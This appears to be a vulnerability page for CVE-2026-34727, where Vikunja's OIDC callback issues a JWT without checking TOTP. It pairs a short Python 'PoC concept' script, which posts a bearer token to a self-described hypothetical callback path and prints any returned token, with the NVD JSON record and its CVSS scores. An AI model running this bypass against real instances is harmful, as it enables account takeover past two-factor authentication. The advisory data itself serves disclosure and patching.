CVE-2026-34727

# PoC Concept for CVE-2026-34727 # This script demonstrates the logic flaw where TOTP is skipped during OIDC callback. import requests def exploit_oidc_bypass(target_url, oidc_token): """ Simulates the OIDC callback request. In a real scenario, the attacker would obtain a valid OIDC token for the victim's email. The vulnerable endpoint issues a JWT without checking TOTP status. """ headers = { "Content-Type": "application/json", "Authorization": f"Bearer {oidc_token}" } # The vulnerable endpoint (hypothetical path based on description) endpoint = f"{target_url}/api/v1/auth/oidc/callback" try: response = requests.post(endpoint, headers=headers) if response.status_code == 200 and "token" in response.json(): print("[+] Exploit successful! TOTP bypassed.") print(f"[+] Received JWT: {response.json()['token']}") else: print("[-] Exploit failed or patched.") except Exception as e: print(f"Error: {e}") # Usage # exploit_oidc_bypass("http://target-vikunja.com", "fake_oidc_token")

{"cve": {"id": "CVE-2026-34727", "sourceIdentifier": "[email protected]", "published": "2026-04-10T16:16:31.853", "lastModified": "2026-04-20T19:55:52.933", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Vikunja is an open-source self-hosted task management platform. Prior to 2.3.0, the OIDC callback handler issues a full JWT token without checking whether the matched user has TOTP two-factor authentication enabled. When a local user with TOTP enrolled is matched via the OIDC email fallback mechanism, the second factor is completely skipped. This vulnerability is fixed in 2.3.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 7.4, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 5.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-287"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:vikunja:vikunja:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.3.0", "matchCriteriaId": "CC8B46CF-6E7B-46F4-8275-D1A38F2A6D5E"}]}]}], "references": [{"url": "https://github.com/go-vikunja/vikunja/security/advisories/GHSA-8jvc-mcx6-r4cg", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/go-vikunja/vikunja/security/advisories/GHSA-8jvc-mcx6-r4cg", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}